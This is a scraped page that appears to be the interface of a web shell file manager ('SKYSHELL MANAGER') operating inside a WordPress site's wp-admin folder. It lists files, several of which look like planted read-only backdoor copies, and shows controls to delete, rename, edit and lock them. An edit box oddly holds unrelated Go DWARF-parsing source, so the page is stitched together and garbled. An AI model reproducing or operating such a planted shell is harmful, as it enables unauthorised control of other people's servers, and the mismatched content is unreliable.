📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
data.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: unit.go
// Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package dwarf import ( "sort" "strconv" ) // DWARF debug info is split into a sequence of compilation units. // Each unit has its own abbreviation table and address size. type unit struct { base Offset // byte offset of header within the aggregate info off Offset // byte offset of data within the aggregate info data []byte atable abbrevTable asize int vers int utype uint8 // DWARF 5 unit type is64 bool // True for 64-bit DWARF format } // Implement the dataFormat interface. func (u *unit) version() int { return u.vers } func (u *unit) dwarf64() (bool, bool) { return u.is64, true } func (u *unit) addrsize() int { return u.asize } func (d *Data) parseUnits() ([]unit, error) { // Count units. nunit := 0 b := makeBuf(d, unknownFormat{}, "info", 0, d.info) for len(b.data) > 0 { len, _ := b.unitLength() if len != Offset(uint32(len)) { b.error("unit length overflow") break } b.skip(int(len)) if len > 0 { nunit++ } } if b.err != nil { return nil, b.err } // Again, this time writing them down. b = makeBuf(d, unknownFormat{}, "info", 0, d.info) units := make([]unit, nunit) for i := range units { u := &units[i] u.base = b.off var n Offset if b.err != nil { return nil, b.err } for n == 0 { n, u.is64 = b.unitLength() } dataOff := b.off vers := b.uint16() if vers < 2 || vers > 5 { b.error("unsupported DWARF version " + strconv.Itoa(int(vers))) break } u.vers = int(vers) if vers >= 5 { u.utype = b.uint8() u.asize = int(b.uint8()) } var abbrevOff uint64 if u.is64 { abbrevOff = b.uint64() } else { abbrevOff = uint64(b.uint32()) } atable, err := d.parseAbbrev(abbrevOff, u.vers) if err != nil { if b.err == nil { b.err = err } break } u.atable = atable if vers < 5 { u.asize = int(b.uint8()) } switch u.utype { case utSkeleton, utSplitCompile: b.uint64() // unit ID case utType, utSplitType: b.uint64() // type signature if u.is64 { // type offset b.uint64() } else { b.uint32() } } u.off = b.off u.data = b.bytes(int(n - (b.off - dataOff))) } if b.err != nil { return nil, b.err } return units, nil } // offsetToUnit returns the index of the unit containing offset off. // It returns -1 if no unit contains this offset. func (d *Data) offsetToUnit(off Offset) int { // Find the unit after off next := sort.Search(len(d.unit), func(i int) bool { return d.unit[i].off > off }) if next == 0 { return -1 } u := &d.unit[next-1] if u.off <= off && off < u.off+Offset(len(u.data)) { return next - 1 } return -1 }
Save